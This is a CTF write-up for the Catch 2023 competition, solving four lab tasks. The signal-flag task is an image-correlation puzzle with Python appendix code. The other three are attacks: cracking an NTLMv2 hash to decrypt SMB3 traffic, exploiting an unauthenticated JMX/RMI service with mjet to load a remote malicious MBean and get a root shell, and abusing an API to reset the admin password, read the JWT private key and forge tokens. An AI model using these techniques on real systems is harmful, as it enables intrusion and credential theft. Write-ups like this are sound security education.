

Write-up for Catch 2023 by CESNET

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Abstract

This write-up presents (some) solutions of tasks in the Catch 2023 competition organized by the CESNET Association.

General remarks

To solve tasks involving servers in `tcc` TLD, the VPN connection has to be established first using `OpenVPN` with the provided configuration:

```
sudo openvpn --config ctfd_ovpn.ovpn --verb 4
```

Log messages reveal the name server listening at `10.99.0.1` and `.tcc` names might be translated to IP addresses by e.g. `dig`. In principle you can provide this nameserver to your web browser, but it was easier just to add IP address-name pairs into `/etc/hosts`:

```
10.99.0.109    coffee-maker.cns-jv.tcc
10.99.0.64      www.cns-jv.tcc \
                  documentation.cns-jv.tcc home.cns-jv.tcc \
                  pirates.cns-jv.tcc structure.cns-jv.tcc
10.99.0.32      chef-menu.galley.cns-jv.tcc
10.99.0.122     web-protocols.cns-jv.tcc
10.99.0.101     quiz.cns-jv.tcc
10.99.0.155     keyword-of-the-day.cns-jv.tcc
10.99.0.117     key-parts-list.cns-jv.tcc
10.99.0.128     navigation-plan.cns-jv.tcc
10.99.0.108     universal-ship-api.cns-jv.tcc
10.99.0.102     arkanoid.cns-jv.tcc
```

1 Signal flags

We got 90 images of ships with signal flags. There are some text information, flags corresponding to letters and digits in naval ICS alphabet and one national flag. Text information comprise of Timestamp, Ship object ID, number of signal flags and signal type. As the file names of images does not have any meaning,

we first prepare a catalog of images, allowing to divide them into groups by the ship and order them by the timestamp. A quick and dirty Python script `ocr.py` (see the listing) calls `gocr`, parse the results with regular expressions and subsequently write a JSON list `ships.json`, allowing us to manually correct OCR errors (capital O instead of zero in the year of the timestamp etc.). Having the catalog, we can merge the messages within time interval less than 2 minutes together programatically.

We can read the flags and convert them to the letters/digits manually for few images, many of messages starts with `0X`, just telling to interpret the rest of the messages as hexadecimal representation. We also can see, that the flags `0X` are always at the top of an image, we may deduce that the flags should be read from top to bottom. There are total 1265 signal flags on all images, it is feasible to recognize all of them manually in 1 or 2 hours, but let us automatize it.

In order to recognize a signal flag on the image, we can find a pronounced green frame around each flag and then compare the content with flags. Sounds like a tedious work, so let us find something more original. How can you decide if two signals are similar or not? Calculate their correlation! Let us apply this idea to our images and signal flags. Let us take a row from the whole image and a row from a particular signal flag image. For the simplicity, we consider only one of RGB channels first. If the flag is present on the image, and if we calculate the correlation for the correct position, we got a big value, while for other positions the correlations diminish. Mathematically, let $im[j]$ be the pixel values of the image and $flag[j]$ be the pixel value of the flag (with the index j running through the width of them). We want to find the offset i , for which the expression (w_f is the width of flag, w_i is the width of the image)

$$\sum_{j=0}^{w_f-1} im[i+j] \cdot flag[j]$$

is maximal. A naive approach, to calculate the sum above for every i , taking into account that we need to process two-dimensional images with 3 color channels, would be too demanding. If we horizontally flip the flag, so effectively change the index j to $-j$, we transform the sum above into convolution. And convolution can be calculated more efficiently as a product in a Fourier space (exactly: we have to apply also an inverse Fourier transformation to get back to coordinate space).

If we take in account all three RGB channels, we have a three-dimensional vector instead of a scalar value and due to linearity of Fourier transformation, we can perform all calculation for color channels independently and join them at the end. Finally, as the image is two-dimensional, we user two-dimensional Fourier transformation.

Technically, it is desirable to normalize images as well as flags by removing DC offset and scale them. Easy and good enough is to subtract from all pixel the color of background, i.e. RGB (222, 222, 221) and divided the values by 256.

Second, we want to use *Fast Fourier transformation*, as it has the time complexity of $N * \log(N)$, so N must be a power of two. Generally, we could either expand the image or cut it to the power of two. As the images width and height are slightly bigger than 4096 and 2048, respectively and there is nothing interesting on the image border, we cut them.

Third, we need to manually locate flags corresponding to letters/digits on images, for each letter/digit specify the image name, the left top and right bottom corner. This part of the image is horizontally and vertically flipped, periodically expanded to the size of the whole image and shifted both horizontally and vertically so the point $(0, 0)$ corresponds to the center of the flag.

Fourth, we benefit from the fact, that Fourier transformed pixel values are real so we can use the Real Fast Fourier transformation (saving roughly half time and space).

Fifth, if the flag is on the image, the correlation for its position is big. So we can take peak values and investigate their position on the image if they really corresponds to the flag. However, we need to determine if the flag is or is not on the image. To do this, we compare the flag pixel-by-pixel with candidates on the image (we calculate the sum of absolute values of difference between pixel value of the flag and the image). This value is usually zero for the match except the digit 4; so we need some heuristical threshold for decision.

The computation is implemented in `solve.py` (see the listing in the appendix for details). Each image is represented by $(W, H, 3)$ matrix, the Fourier transformation (as well as Inverse FFT) is calculated over the first two axes. The function `find_flags` tries to find flags in a particular image calculating the convolution using the function `correl` from Fourier transformation of the image and the flag.

The calculation is not much optimized, to process one image takes about 1 minute. The result is listed in `messages` (see the listing in the appendix), together with all details described above. Flag messages starting by `0X` are unhexified.

Reading the messages we spot an interesting one on the Finish ship (the second long message):

```
CNS Josef VERICH, you can IMPROVE them
by RkxBR3tsVHJHTNvWG4tYW9aTi1aNHFNFQ== !
```

It contains Base64-coded string, decoding reveals:

```
$ echo RkxBR3tsVHJHTNvWG4tYW9aTi1aNHFNFQ== | base64 -d
FLAG{1TrG-3oXn-aoZN-Z4qM}
```

Short Post-mortem summary: looking back to evolution of solution, it was a longer and more difficult way. It could be implemented more clever and more quickly just done manually (or to off-loaded to some captcha recognition farm). But the way is the destination.

2 Suspicious traffic

Let us dive into a story of James Hook packet adventures told by `suspicious_traffic.pcap`. James works on a machine with IP 172.20.0.7.

The first episode shows storing files `history.db` and `employees.db` to the SMB server on IP 172.20.0.2. Wireshark can export the content of files dissolved in captured traffic via Files, Export objects, SMB; the theme repeats few times later, the content of files is always the same and not interesting at all.

In the second episode, he uploads files `home.tgz` and `etc.tgz` to the FTP server on IP 172.20.0.5. We may see FTP conversation in the TCP stream 5, showing the username `james` and the password `james.f0r.FTP.3618995` in plain text. The two following TCP streams (in the direction from the FTP server to James) contain the transferred files. We can save them to files by Wireshark's Follow TCP stream, Show data as raw and Save as.

Untaring `home.tgz` allows us to look into `.bash_history` recording a manipulation with Docker for `iot-gateway-service` on Raspberry Pi. A Mozilla profile is empty (no `logins.json`, nothing interesting found). In untarred `etc.tgz`, there are no users in `/etc/passwd` and no passwords in `/etc/shadow`. We can just conclude that it is for Debian 11.7.

The third episode is obscure at the moment as it is covered by impermeable fog of SMB3 encryption enforced by SMB server on IP 172.20.0.6.

The fourth episode closes the plot. James is testing possible vulnerabilities of the development webserver on IP 172.20.0.3, port 20000, the only remarkable detail is using Basic Authorization with credentials `admin:james.f0r.HTTP.4648507` for GET requests `/admin` and `/settings`.

To get further we obviously have to decrypt SMB3 communication with IP 172.20.0.6 (in the TCP stream 11). Fortunately we are not the first who conquers it. It is well described in a blog by Khris Tolbert.¹ I will not repeat the procedure, please read the blog instead. Except fields stored in the PCAP we need the password. The password might be cracked from NTLMv2 hash² using `hashcat`. Following the guide, we build a hash for hashcat in the form

```
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
```

where `username` is `james_admin`, the domain is `LOCAL.TCC`, `ServerChallenge` is `78c8f4fdf5927e58` (packet 2053), and `NTproofstring` (starting NTLMv2 response) and `modifiedntlmv2response`³ are in packet 2055. The complete hash is

hash	_____
james_admin::LOCAL.TCC:78c8f4fdf5927e58:8bc34ae8e76fe9b8417a966c2f632e b4:0101000000000003ab4fc1550e2d901b352a9763bdec89a0000000002001800410 0360037004600320042004100340045003800460032000100180041003600370046003 200420041003400450038004600320004000200000030018006100360037006600320 06200610034006500380066003200070008003ab4fc1550e2d90106000400020000000	

¹<https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2>

²<https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/>

³modification stems just in splitting NTLMv2 response to NTproofstring and the rest

From the FTP and HTTP episodes we may guess a format of a password: `james_admin.f0r.SMB.seven digits` (eventually variations of it like `f0r` instead of `f0r` and `SAMBA` instead of `SMB`). We download a maskprocessor from <https://github.com/hashcat/maskprocessor/releases/> to generate a list of all seven-digit combinations by

```
maskprocessor-0.73/mp64.bin '?d?d?d?d?d?d?d' > seven.txt
```

and prepare the wordlist.txt with a word `james_admin.f0r.SMB`. Running

```
hashcat -a 1 -m 5600 hash.txt wordlist.txt seven.txt
```

quickly finds the password `james_admin.f0r.SMB.8089078`.

For calculation we can download a script of the blog's author⁴ and adapt it to Python3. It uses legacy MD4, so we have to temporarily modify `/etc/ssl/openssl.cnf` on our machine by adding and activating `legacy_sect`. From packet 2055 we extract Encrypted Session Key (denoted as the Session Key by Wireshark):

4292dac3c7a0510f8b26c969e1ef0db9. Result of the script, Random Session Key 7a93dee25de4c2141657e7037dddb8f1, we enter to Wireshark via Edit, Preferences, Protocols, SMB2, Secret Session Key for decryption together with session ID 49b136b900000000 (extracted from packet 2053). Voilà, magic happens and we see decrypted traffic! A new file `secret.db.enc` suddenly appears among Exported SMB objects.

The file `secret.db.enc` contains (according to `file`) *openssl enc'd data with salted password*, however there is no indication about algorithm used. We dive once more into information collected so far until we spot a line

```
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db \
             -out secret.db.enc -k R3alyStr0ngP4ss!
```

in `.bash_history`. So we just apply the inverse procedure

```
openssl enc -d -aes-256-cbc -salt -pbkdf2 -in secret.db.enc \
             -out secret.db -k R3alyStr0ngP4ss!
```

to decrypt it. The decrypted file is Sqlite3 DB, just dump the content with `sqlite3 secret.db .dump` to see FLAG{5B9B-1wPy-OfRS-4uEN au plein soleil}.

⁴<https://gist.github.com/khr0x40sh/747de1195bbe19f752e5f02dc22fce01>

3 Arkanoid

The `nmap` on `arkanoid.cns-jv.tcc` shows four TCP ports open: 8000, 60001, 60001, and another one, which changes as the server is restarted every hour.

If we open `http://arkanoid.cns-jv.tcc:8000/` in Firefox, we may play a game written in Javascript and downloaded within the web page; the final score is uploaded via POST to the server. The only remarkable detail is the header `X-server: Java/1.8.0_144`. Log4shell immediate comes to mind. But, trying all the tricks and exploits with `jndi:ldap`, `jndi:rmi` ends in a dead end up.

Deeper investigation with `nmap`, namely `nmap -sV arkanoid.cns-jv.tcc -p60001-60002` or even better `nmap -sVC arkanoid.cns-jv.tcc -p60001-60002` shows:

```
60001/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   jmxi
|     implements javax.management.remote.rmi.RMIServer,
|     extends
|       java.lang.reflect.Proxy
|     fields
|       Ljava/lang/reflect/InvocationHandler; h
|         java.rmi.server.RemoteObjectInvocationHandler
|         @localhost:60002
|         extends
|           java.rmi.server.RemoteObject
60002/tcp open  java-rmi Java RMI
```

That sounds really promising. let us install JDK-8u144 and start to study Java Management Extension, Remote Method Invocation and similar beasts. First with Remote Method Invocation only, just to get feeling about the game. After many hours of playing and googling, we got to interesting blogs of Mogwailabs⁵ We can directly install a toolkit provided <https://github.com/mogwailabs/mjet> and try it. However, everything suppose that you are connecting from the same machine. It can be circumvented by TCP port forwards using `socat`:

```
socat TCP4-LISTEN:60001,reuseaddr,fork TCP4:10.99.0.102:60001 &
socat TCP4-LISTEN:60002,reuseaddr,fork TCP4:10.99.0.102:60002 &
```

Now you can successfully run `jconsole` to look at MBeans: `jconsole localhost:60001` and we can install our MBean on the server by (N.B. do not forget to modify IP address to yours, provided by OpenVPN):

```
mjet$ jython mjet.py localhost 60001 install super_secret \
    http://10.200.0.2:8000 8000
```

⁵<https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/>,
<https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/>,
<https://web.archive.org/web/20170225171747/https://www.optiv.com/blog/exploiting-jmx-rmi>

```

MJET - MOGWAI LABS JMX Exploitation Toolkit
=====
[+] Starting webserver at port 8000
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://localhost:60001/jmxrmi
[+] Connected: rmi://10.200.0.2 2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.200.0.2:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.99.0.102 -- [06/Nov/2023 11:23:10] "GET / HTTP/1.1" 200 -
10.99.0.102 -- [06/Nov/2023 11:23:10] "GET /usfddwkq.jar HTTP/1.1" 200
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

```

and we see our MBean in jconsole's tab MBeans. Now we can run a command by

```
python mjet.py localhost 60001 command super_secret \
    "cat /etc/passwd"
```

or even run a shell

```
python mjet.py localhost 60001 shell super_secret
```

Being a root on the server, we can find that the whole java application server is running as a process with with PID 1, we can investigate its *argv* as cat /proc/1/cmdline:

```
/opt/jdk1.8.0_144/bin/java \
    -Dcom.sun.management.jmxremote=true \
    -Dcom.sun.management.jmxremote.port=60001 \
    -Dcom.sun.management.jmxremote.authenticate=false \
    -Dcom.sun.management.jmxremote.ssl=false \
    -Djava.rmi.server.hostname=localhost \
    -Dcom.sun.management.jmxremote.rmi.port=60002 \
    -classpath
        /opt/app/lib/app.jar:\
        /opt/app/lib/guava-31.1-jre.jar:\
        /opt/app/lib/commons-collections-3.1.jar:\
        /opt/app/lib/failureaccess-1.0.1.jar:
        /opt/app/lib/listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar:
        /opt/app/lib/jsr305-3.0.2.jar:
        /opt/app/lib/checker-qual-3.12.0.jar:
        /opt/app/lib/error_prone_annotations-2.11.0.jar:
        /opt/app/lib/j2objc-annotations-1.3.jar
tcc.rgame.App
```

We can see that the application is running as a Docker container by looking at `/proc/mounts`, browse the file system for sources (confirming that the server on port 8000 is just a decoy) ...

But still no sign of FLAG. Hours of despair. It must be somewhere there, we are the root, who is more?

How can information be transferred to a process from mother OS? In `argv`. Yes, of course, and? And in environment variables! So let us call `set` or `cat /proc/1/environ` to see the most beautiful variable forever: FLAG and its value `FLAG{sEYj-80fd-EtkR-0fHv}`.

4 U.S.A.

The `nmap` on `universal-ship-api.cns-jv.tcc` reveals only the TCP/80 port open and DirBuster finds few URLs available: `/api`, `/api/v1`, `/api/v1/admin`, `/docs`. From the headers we observe that the responses are served by `uvicorn` server.

HTTP GET `/api` returns the JSON response `{"endpoints": ["v1"]}`, GET `/api/v1` returns `{"endpoints": ["user", "admin"]}`. To the query `/api/v1/user` we get HTTP 404 Not found, while to the `/api/v1/admin/` we are required to be authenticated: HTTP/1.1 401 Unauthorized with an additional header `www-authenticate: Bearer`. It means that we have to provide JSON Web Token – an opaque (usually signed) data. Googling a little bit brings over focus to *FastAPI* described in⁶

Let's prepare a Python virtual environment and install the FastAPI. Looking into examples we find that there are two URL available: `/user/signup` for creation of a user and `/user/login` for log in, returning a desired JWT. Inspired by the examples, we create a user

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/signup \
-H "Content-Type: application/json" \
-d '{"email":"pu@cns-jv.tcc","password":"hrnekMedu"}'
```

return HTTP/1.1 201 Created and an empty JSON object as a body, so we created the user. If we do no guess required field, e.g we provide `username` instead of `email`, we got the response HTTP/1.1 422 Unprocessable Entity with the body like

```
{"detail": [{"loc": ["body", "email"], "msg": "field required",
  "type": "value_error.missing"}]}.
```

It indicates that we have to provide the email field in the body (other options are `query` for the query string or `path` for a part of the URL).

Now we login and hopefully obtain a JWT. The query with empty body shows the required fields:

⁶<https://fastapi.tiangolo.com/>, <https://testdriven.io/blog/fastapi-jwt-auth/>, and <https://github.com/testdrivenio/fastapi-jwt>

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/login \
-H "Content-Type: application/json" \
-d '{}'
```

It returns HTTP/1.1 422 Unprocessable Entity and from the body we see, that we have to provide `username` and `password` in the body. We have not set up `username` in `signup`, but we can guess to use an e-mail (or a part of it) as the username and repeat the previous `curl` command with

```
-d '{"username": "pu", "password": "hrnekMedu"}'
```

but we got the same response – it seems that the fields are not seen in the body. An alternative to json coding of fields is to use `x-www-form-urlencoded`:

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=pu&password=hrnekMedu'
```

and we got the response HTTP/1.1 400 Bad Request with the explanation in the body: `{"detail": "Incorrect username or password"}` confirming that we are on the right track. After some playing and changing the username to the comple e-mail address:

```
-d 'username=pu@cns-jv.tcc&password=hrnekMedu'
```

we finally get logged in: (HTTT/1.1 200 OK with JWT in the body:

```
{"access_token": "eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9. ...  
T0qIqnzPLcd4", "token_type": "bearer"}
```

The small remark: in the examples of FastAPI, you got JWT just after `signup`, there is no reason to use URLencoding instead of JSON (except make the task more difficult) and finally I have feeling that the (correct) login did not work for the first time, so I have investigated many dead ways before I have succeeded – but the problem might be just between a chair and a keyboard, some typo etc. Also take in account, that every hour, your user is removed as the docker is restarted.

Let us investigate the token. It consists of Base64 coded parts, joined together by dots. The first part: `eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9` is simply⁷

```
$ echo eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9 | base64 -d  
{"alg": "RS384", "typ": "JWT"}
```

specifing the signature used (in the FastAPI examples, HS256 is used). The second is more interesting:

⁷in fact it is URL-safe Base64 coding which substitutes *minus* – instead of *plus* + and *underscore* _ instead of slash / in the standard Base64 alphabet; the padding equal sings are stripped. So to decode, we have to append the padding equal sings (to the length being a multiple of 4) and to replace _ by +/ first (or to use Python's `base64.urlsafe_b64decode`).

```
{"type": "access_token", "exp": 1699758152, "iat": 1699066952, "sub": "2",
  "admin": false, "guid": "e8287502-ce19-453f-a9b0-85f26b5288e9"}
```

showing Unix timestamp of the creation (`iat`), the expiration (`exp`), GUID assigned to our user and that we have not admin role. The third part is opaque 512 bytes long signature.

Provided with the token, we can read `/docs` which is just a boilerplate for formatting of `openapi.json`:

```
curl -v -o openapi.json -X GET http://universal-ship-api.cns-jv.tcc/openapi.json \
  -H 'authorization: Bearer eyJhbGci...IqnzPLcd4'
```

The beautified `openapi.json` is shown in the listing on page 20. We discover unknown URLs to use: `/api/v1/user/{user_id}`, `/api/v1/user/updatepassword`, `/api/v1/admin/`, `/api/v1/admin/file`, and `/api/v1/admin/getFlag`, the HTTP methods (GET, POST, PUT) and eventually how to format the request body.

The most promising is the last one:

```
curl -v -X PUT http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag \
  -H 'authorization: Bearer eyJhbGciOi .... qnzPLcd4'
```

but we get HTTP/1.1 200 OK with the body: `{"msg": "Permission Error"}`. Obviously, our token has `admin:false` so we have to leverage our login. We may expect that there is a user with admin role on the system, we could change her password (with `/api/v1/user/updatepassword`) and login as her. We have to enumerate the existing users:

```
curl -v http://universal-ship-api.cns-jv.tcc/api/v1/user/1 \
  -H 'authorization: Bearer eyJhbGciOi .... qnzPLcd4'
```

returning the admin user

```
{"guid": "2377e4d0-1584-4509-a519-ba8dffab37ab",
  "email": "admin@local.tcc", "date": null, "time_created": 1690796892351,
  "admin": true, "id": 1}
```

and similarly `/user/2` returns our user

```
{"guid": "e8287502-ce19-453f-a9b0-85f26b5288e9",
  "email": "pu@cns-jv.tcc", "date": null, "time_created": 1699066842857,
  "admin": false, "id": 2}
```

Let us change the admin password

```
TOKEN=eyJhbGci ... zPLcd4
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/updatepassword \
  -H "authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"guid": "2377e4d0-1584-4509-a519-ba8dffab37ab", "password": "bambilion"}'
```

returning HTTP/1.1 201 Created and admin's user info.

Now let us log in as with admin credentials

```
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/user/login\
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d 'username=admin@local.tcc&password=bambilion'
```

providing as the token with `admin:true`. Requesting `/v1/admin/getFlag` with the admin's token results in HTTP/1.1 400 Bad Request with an explanation in the body `flag-read key missing` from JWT. We have to coin the correct JWT ourself. (Naive) trials with just adding `"flag-read":true` failed as the token's signature become invalid. We have to find signing key somewhere on the server and sign the token ourself.

To get a file from the server we use e.g.;

```
ADMINTOKEN=eyJhbGciOiJ ... j0Lqmk173tR0he4tBo
curl -v -X POST http://universal-ship-api.cns-jv.tcc/api/v1/admin/file \
      -H "authorization: Bearer $ADMINTOKEN" \
      -H "Content-Type: application/json" \
      -d '{"file":"main.py"}'
```

resulting usually in HTTP/1.1 404 Not Found with the detail `File not found` or HTTP/1.1 200 OK if we are lucky with the content of the requested file in JSON coded body value `{"file": "<content of file escaped>"}`.

The servers in the previous task run in Debian docker container, so we may expect that we can also investigated running processes through `/proc/pid`. By requesting files `/proc/1/cmdline` and `/proc/1/environ` we locate a usual suspect process'es `argv`

```
/app/venv/bin/python /app/venv/bin/uvicorn --reload --host 0.0.0.0 \
      --workers 10 --port 80 shipapi.main:app
```

and `envp` (only interesting ones):

```
APP_MODULE=shipapi.main:app
PWD=/app
```

So the main application code we can get from `/app/shipapi/main.py`, see the listing on page 29. Line 16 points us to configuration, so let us get `/app/shipapi/appconfig/config.py` (see the listing). Here we can read, that the symmetric signature (usually HS256 in examples) is not used anymore (line 13) and we have to use RSA (as we could expect as RS384 is mentioned in the first part of the tokens). We get the private 4096-bit RSA key from `/app/shipapi/appconfig/jwtsigning.key` (line 10), and in our virtual environment we run

```
import jwt
import json
```

```

# extracted from ADMINTOKEN
js_payload = '{"type":"access_token","exp":1699763089,"iat":1699071889,
    "sub":"1","admin":true,
    "guid":"2377e4d0-1584-4509-a519-ba8dffab37ab"}'

algo = 'RS384'
privkey = open('jwtsigning.key').read()
payload = json.loads(js_payload)
payload['flag-read'] = True

token = jwt.encode(payload, privkey, algorithm=algo)
print(token)

```

With the coined token, we just ask for the flag again:

```

FRTOKEN=eyJhbGciOiJ...xUuLUBgDSdRs
curl -v -X PUT http://universal-ship-api.cns-jv.tcc/api/v1/admin/getFlag \
      -H "authorization: Bearer $FRTOKEN"

```

giving us the flag in body: {"Flag": "FLAG{910P-iUeJ-Wwq1-i8L2}"}.

Appendices

The appendices contain listing of relevant files.

A Listings for Signal Flags

```

1 import re
2 import subprocess
3 import glob
4 import json
5
6
7 def ocr(dirname, jsfn):
8     re_fn = re.compile(r'signalization_([a-z]+)\.png')
9     re_ocr = {
10         'timestamp': re.compile(rb'Timestamp: GMT (2(0|1)\d{2}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'),
11         'shipid': re.compile(rb'Ship object ID: (\d+)',),
12         'nflags': re.compile(rb'Signal flags: (\d+)'),
13         'type': re.compile(rb'Signal type: ((long|short)[-_]message|ship_name)')}
14
15     ships = []
16     for pathname in glob.glob(dirname+'/*.\png'):
17         m = re_fn.search(pathname)
18         fn = m.groups()[0]
19         cproc = subprocess.run(['gocr', '-m', '4', '-i', pathname], capture_output=True)
20         rec = {'fn': fn}

```

```

21     for key, reg in re_ocr.items():
22         m = reg.search(cproc.stdout)
23         rec[key] = m.groups()[0].decode('ascii') if m is not None else '0'
24         if key == 'timestamp':
25             rec[key] = rec[key].replace('0', '0')
26         ships.append(rec)
27
28     with open(jsfn, 'w') as fp:
29         json.dump(ships, fp, indent=2, sort_keys=True)
30
31
32 if __name__ == '__main__':
33     ocr('images', 'ships.json')

```

solve.py

```

1 import re
2 import subprocess
3 import glob
4 import json
5 import logging
6 from datetime import datetime
7 import binascii
8 from PIL import Image
9 import numpy as np
10
11
12 class FCS:
13     FNTEMPLATE = 'images/signalization_%s.png'
14     BGCOL = (222, 222, 221)
15     SCALE = 256
16     W, H = 4096, 2048
17     HB, VB = 78, 34
18     IMCORNERS = (HB, VB, HB+W, VB+H)
19     CONVTHR = 0.95
20     MAXCAND = 20
21     MAXCUMDIF = 10000
22     FLAGS = {
23         'A': ('cmsnkxoklpmhigupphtwlbguiopjr', (3645, 1027, 3726, 1098)),
24         'B': ('aiaaucdjpnsntplwncqozuymwjmhukwm', (3340, 1177, 3421, 1248)),
25         'C': ('dwinjgndjrrwckmjjwagbufpnebvkvjo', (3190, 467, 3271, 538)),
26         'D': ('ukcnmqdmqfjnutsafajpbagiabldavaj', (3081, 738, 3162, 809)),
27         'E': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2885, 344, 2936, 415)),
28         'F': ('aiaaucdjpnsntplwncqozuymwjmhukwm', (3700, 1493, 3781, 1564)),
29         'H': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2702, 104, 2783, 175)),
30         'I': ('dwinjgndjrrwckmjjwagbufpnebvkvjo', (3125, 387, 3206, 458)),
31         'K': ('qronxprykjntmvwcicihxevtefglpcea', (2031, 299, 2112, 370)),
32         'L': ('xhbbnbucjhrheenctftiicbloqzjbojz', (2121, 367, 2202, 438)),
33         'M': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2957, 504, 3038, 575)),
34         'N': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2804, 264, 2885, 335)),
35         'O': ('xidfjmtojrijkfhgxrkeepbfzrdioemt', (2753, 184, 2834, 255)),
36         'P': ('gwpmyzutwwuanewucbbckpgqsnyiebx', (3198, 42, 3279, 113)),

```

```

37     'R': ('dwinjgndjrrwckmjwjagbufpnevkvjo', (3060, 307, 3141, 378)),
38     'S': ('ukcnmqdmqfjnutaafajpbagiabldavaj', (2926, 338, 3007, 409)),
39     'V': ('dwinjgndjrrwckmjwjagbufpnevkvjo', (2930, 147, 3011, 218)),
40     'W': ('ukcnmqdmqfjnutaafajpbagiabldavaj', (2988, 498, 3069, 569)),
41     'X': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2260, 229, 2341, 300)),
42     'Y': ('xidfjmtorijkfhgxrkeepbfzrdioemt', (2906, 424, 2987, 495)),
43     'O': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2170, 159, 2251, 212)),
44     'I': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2620, 554, 2701, 607)),
45     'Z': ('cwautabhaqfuunecnnjapvfhdtvsiae', (3143, 907, 3224, 960)),
46     '3': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2440, 396, 2521, 449)),
47     '4': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2350, 317, 2431, 371)),
48     '5': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2980, 871, 3061, 923)),
49     '6': ('aiaaucdjpnsntplwncqozuymywjmhukwm', (2530, 476, 2611, 528)),
50     '7': ('cwautabhaqfuunecnnjapvfhdtvsiae', (2957, 427, 3038, 480)),
51     '8': ('gtzweieommowkqgtvxkwbqndlzlpois', (3561, 1465, 3642, 1517)),
52     '9': ('cwautabhaqfuunecnnjapvfhdtvsiae', (2988, 507, 3069, 560)),
53 }
54 NATFLAGS = {
55     259798: 'IT',
56     304622: 'NL',
57     367676: 'FR',
58     487078: 'BR',
59     567874: 'SK',
60     627912: 'GB',
61     717609: 'FI',
62     745387: 'GR',
63     782535: 'ES'}
64
65     def __init__(self, jsname):
66         self.clear_cache()
67         self.logger = logging.getLogger('FCS')
68         self.read_flags()
69         with open(jsname) as fp:
70             self.images = json.load(fp)
71             self.shipids = set([rec['shipid'] for rec in self.images])
72
73     def clear_cache(self):
74         self.imcache = {}
75
76     def get_imdata(self, name):
77         """Return cached image data"""
78         if name not in self.imcache:
79             fn = FCS.FNTEMPLATE % name
80             with Image.open(fn) as im:
81                 w, h = im.size
82                 imdata = tuple(im.getdata())
83                 self.imcache[name] = (w, h, imdata)
84         return self.imcache[name]
85
86     def im2matrix(self, imc, corners):

```

```

87     """Construct numpy matrix from image data"""
88     imw, imh, imdata = imc
89     assert 0 <= corners[0] < corners[2] <= imw
90     assert 0 <= corners[1] < corners[3] <= imh
91     aw, ah = corners[2] - corners[0], corners[3] - corners[1]
92     a = np.empty((aw, ah, 3))
93     j = corners[0] + corners[1]*imw
94     for ri in range(ah):
95         a[:, ri, :] = imdata[j:j+aw]
96         j += imw
97     return a
98
99     def normalize(self, a):
100         """subtract BGCOL and normalize by SCALE"""
101         an = np.empty(a.shape)
102         for i in range(3):
103             an[:, :, i] = a[:, :, i] - FCS.BGCOL[i]
104         an /= FCS.SCALE
105         return an
106
107     def read_flags(self):
108         self.logger.info('reading flags')
109         names = set([rec[0] for rec in FCS.FLAGS.values()])
110         self.flags = {}
111         for name in names:
112             self.clear_cache()
113             rules = {c: rec for c, rec in FCS.FLAGS.items()
114                     if rec[0] == name}
115             self.logger.debug('processing file %s, chars: %s',
116                               name, ''.join(rules.keys()))
117             nflags = self.read_some_flags(rules)
118             self.flags.update(nflags)
119             self.clear_cache()
120             self.logger.info('reading flags done')
121
122     def read_some_flags(self, rules):
123         flags = {}
124         for c, (name, corners) in rules.items():
125             imc = self.get_imdata(name)
126             a = self.im2matrix(imc, corners)
127             w, h, _ = a.shape
128             xc = (w - 1) // 2
129             yc = (h - 1) // 2
130             flags[c] = (a, xc, yc)
131             self.logger.debug('char %s done', c)
132         return flags
133
134     def flag_fft(self, c):
135         self.logger.debug('calculation fft for char %s', c)
136         a, xc, yc = self.flags[c]

```

```

137     w, h, _ = a.shape
138     an = self.normalize(a)
139     ac = np.zeros((FCS.W, FCS.H, 3))
140     xc = (w - 1) // 2
141     yc = (h - 1) // 2
142     xc1, yc1 = w - xc, h - yc
143     ac[xc::-1, yc::-1, :] = an[:xc+1, :yc+1, :]
144     ac[-1:-xc1:-1, yc::-1, :] = an[xc+1:, :yc+1, :]
145     ac[xc::-1, -1:-yc1:-1, :] = an[:xc+1, yc+1:, :]
146     ac[-1:-xc1:-1, -1:-yc1:-1, :] = an[xc+1:, yc+1:, :]
147     afft = np.fft.rfft2(ac, axes=(0, 1))
148     return afft
149
150     def read_image(self, name):
151         self.logger.debug('reading image %s', name)
152         imc = self.get_imdata(name)
153         a = self.im2matrix(imc, FCS.IMGORNERS)
154         afft = np.fft.rfft2(self.normalize(a), axes=(0, 1))
155         return a, afft
156
157     def compare_flag(self, aimage, c, pos):
158         """Compare flag of character c with sub-image on position pos
159         return cumulative difference on pixels"""
